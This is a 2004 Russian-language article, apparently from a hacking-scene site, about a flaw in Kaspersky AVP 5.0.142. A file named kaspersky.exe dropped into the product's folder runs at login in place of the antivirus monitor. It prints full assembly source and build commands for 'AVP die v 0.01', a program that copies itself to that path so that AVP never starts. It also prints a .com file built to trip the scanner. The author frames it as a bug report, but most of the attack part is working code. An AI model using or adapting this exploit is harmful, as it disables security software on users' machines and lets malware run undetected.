Особенности реализации AVP

Акела промахнулся, Акела промахнулся!
Р.Киплинг "Маугли"

Мной буквально на днях, была обнаружена интересная особенность реализации всеми
любимого антивирусного продукта. Она заключается в том, что если при
установленном анивирусном мониторе (я всё это тестировал на AVP v. 5.0.142)
создать файл в директории Program Files\Kaspersky Lab с именем
kaspersky.exe, то после перезагрузки или выхода и входа в систему будет запущен наш файл.
А антивирусный монитор запущен не будет.

Не правда ли интересная особенность? Теперь немного о том как, это может быть
использовано. Вот есть к примеру у нас вирус, нет не то, в тюрьму не хочется ...
Вот есть к примеру у нас следующий false alarm или по русски - ложная тревога.
По сути это обыкновенный ничем не примечательный файл, вот только на него
ругается антивирус.

К примеру вот такой:

;-8;
; На этот *.com файл ругается АВП ;
; Это false alarm, т.к. кроме вывода строки он ничего не делает
;
;---;
seg000 segment byte public 'CODE'
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000

public start
start:
push ax
dec bx
pop ax
;---;
db 0 ;
db 0 ;
db 0 ;
db 5Eh ; ^

db 500 dup(0)

db 80h ; А
db 0 ;
db 0 ;
db 80h ; А
db 80h ; А
db 0 ;
db 0 ;
db 0 ;
db 80h ; А
db 0 ;
db 80h ; А
db 0 ;
db 0 ;
db 80h ; А
db 80h ; А
db 80h ; А
db 80h ; А
db 0 ;
db 80h ; А
db 80h ; А
db 0 ;
db 0A8h ; и
db 0 ;
;---;
mov ah, 9
mov dx, offset vx_work ; "virii is work..."
int 21h ; Выводим строку
retn
;---;
vx_work db 'virii is work, thx to AVP die v 0.01 by slon!$',0

seg000 ends
end start
;-8

Это обыкновенный *.com файл, но если попытаться запустить его, то антивирусный
монитор заругается и не даст его запустить. С одной стороны монитор прав
- по контрольным суммам смахивает на вирус, но ведь не вирус ...

А если обыкновенная программа по контрольным суммам смахивает на вирус, тогда
нужно письмо писать в антивирусную контору и очень может быть, что не в одну.

А вот если запустить следующую программу... (ниже представлен её листинг):

;-8;
; ;
; AVP die v 0.01 demo [ "Смерть кашпировскому Ж)" ] (x) slon 2004 ;
; Что делает эта программа: ;
; ;
; 1) Она автоматически загружается (вместо AVP, проверено на AVP 5.0.142)
;
; 2) Не даёт загрузиться AVP 🙂 ;
; ;
; Использование: ;
; ;
; 1) Запустить программу ;
; 2) logoff/reboot/poweroff по выбору Ж) ;
; ;
;-8;
; @echo off ;
; cls ;
; tasm32 /mx /m4 /z avpdie.asm ;
; tlink32 -x -V4.0 -Tpe -aa -c avpdie.obj,,,imp32i.lib ;
; del *.obj ;
;-8;
; Собирать файл при помощи make.bat и конечно же TASM 5.0 ;
.586
.model flat, stdcall
locals @@
;---;
callx macro x ;
extrn x:proc ; Макрос для упрощения
call x ; использования WIN API
endm ;
.data
;---;
start:
push 0 ; Получаем
callx GetModuleHandleA ; базу модуля

push 500 ;
push offset cmd_ ;
push eax ; Узнаём имя файла из
callx GetModuleFileNameA ; которого мы запущены

push 500 ;
push offset win_dir ; Получаем имя директории
callx GetWindowsDirectoryA ; Windows

push offset prog_ ;
lea eax,win_dir ;
push eax ;
add eax,3 ;
mov 4 ptr [eax],0 ; Готовим путь для копирования
callx lstrcatA ; в "Program
Files"

push 1 ;
push offset win_dir ;
push offset cmd_ ; Копируем себя
callx CopyFileA ; в "Program
Files"

push 0 ;
push 0 ;
push offset msg__ ;
push 0 ;
callx MessageBoxA ; Выводим красивое сообщение

push 0 ;
callx ExitProcess ; И завершаем нашу работу

;---;
msg__ db 'Прощайте дядя кашпировский, AVP теперь убит!',0ah,0dh
db 'AVP die v 0.01 (x) slon 2004',0

win_dir db 500 dup(0)
sys_dir db 500 dup(0)

cmd_ db 500 dup(0)
prog_ db 'Program Files\Kaspersky Lab\kaspersky.EXE',0
;---;
.code
nop ; Для красоты
end start
;-8

После её работы наша ложная тревога без всяких проблем запуститься. Что
говорит об ошибках в реализации данного антивирусного продукта. Я смею скромно
надеяться, что данная ошибка будет в скором времени поправлена. Не очень бы
хотелось встретить её в скором времени в каком-нибудь интернет червяке.

Похожие материалы